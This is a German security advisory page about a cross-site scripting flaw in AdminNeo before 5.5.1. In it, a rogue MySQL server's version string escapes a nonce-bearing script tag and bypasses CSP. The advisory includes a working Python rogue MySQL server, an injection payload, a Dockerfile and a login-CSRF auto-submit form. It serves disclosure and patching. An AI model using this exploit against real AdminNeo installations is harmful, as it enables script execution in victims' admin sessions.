Hoch

AdminNeo anfällig für XSS über Versionszeichenfolge eines Rogue-MySQL-Servers (CSP-Nonce-Bypass)

  • Veröffentlicht: 30.10.2026
  • Aktualisiert: 08.11.2026 10:00

Zusammenfassung

AdminNeo fügt die Versionszeichenfolge des Datenbankservers ohne jegliche Bereinigung in ein <script>-Tag ein, das ein gültiges CSP-Nonce enthält. Ein bösartiger Datenbankserver kann eine manipulierte Versionszeichenfolge zurückgeben, die aus dem JavaScript-Kontext ausbricht und beliebigen Code ausführt. Da das Script-Tag bereits ein gültiges Nonce besitzt, wird die Ausführung nicht durch die Content Security Policy des Browsers blockiert. In Verbindung mit Login-CSRF ist keine Authentifizierung erforderlich.

Ursprünglich in Adminer gemeldet: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Voraussetzungen

  • Das Zielsystem führt AdminNeo aus
  • Der Angreifer kontrolliert einen erreichbaren MySQL-Server (ein Python-Skript mit 80 Zeilen)

Ursache

admin/core/Admin.php, Zeilen 1285-1286:

php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() umschließt die Ausgabe mit <script nonce="VALID_NONCE">. Der Rückgabewert von Connection::get()->getVersion() wird nicht maskiert.

Schritte zur Reproduktion

1. Umgebung aufbauen

Dockerfile (AdminNeo):

dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (Gefälschter MySQL-Server, der jeden Login akzeptiert):

python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
bash
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue_mysql.py

2. XSS auslösen

Öffnen Sie einen Browser und navigieren Sie zu http://localhost:8081/adminneo.php:

  1. Treiber auswählen: MySQL
  2. Server: HOST_IP:3307 (IP-Adresse des Systems, auf dem rogue_mysql.py läuft)
  3. Benutzername: root
  4. Passwort: x
  5. Auf Anmelden klicken.

Der Rogue-Server akzeptiert den Login. AdminNeo rendert das Dashboard und bindet Folgendes ein:

html
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

Der Browser führt alert(origin) unter vollständiger Umgehung der CSP aus, da das Script-Tag ein gültiges Nonce trägt.

3. Auslösung über Login-CSRF

Das Anmeldeformular enthält kein CSRF-Token. Eine Angreiferseite sendet den Login automatisch ab und zwingt den Browser des Opfers, sich mit dem Rogue-Server zu verbinden:

html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Danksagung

Diese Schwachstelle wurde gemeinsam mit Yashar Shahinzadeh (GitHub: @Voorivex) entdeckt.

Was zu tun ist

Aktualisieren Sie AdminNeo auf Version 5.5.1 oder neuer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket adminneo-org/adminneo < 5.5.1 5.5.1

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-79
Plattform
Composer
Paket
adminneo-org/adminneo
Veröffentlicht
30.10.2026
Aktualisiert
08.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-rx7m-wxwq-vxr9 - CC BY 4.0

Schwachstellenhistorie: adminneo-org/adminneo

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
6
Erste → letzte
10.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 4
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2026: 6
  1. AdminNeo anfällig für XSS über Versionszeichenfolge eines Rogue-MySQL-Servers (CSP-Nonce-Bypass) dieser Eintrag
    Hoch CVE-2026-96632 < 5.5.1 5.5.1
  2. Hoch · 7.2 CVE-2026-96630 < 5.5.1 5.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.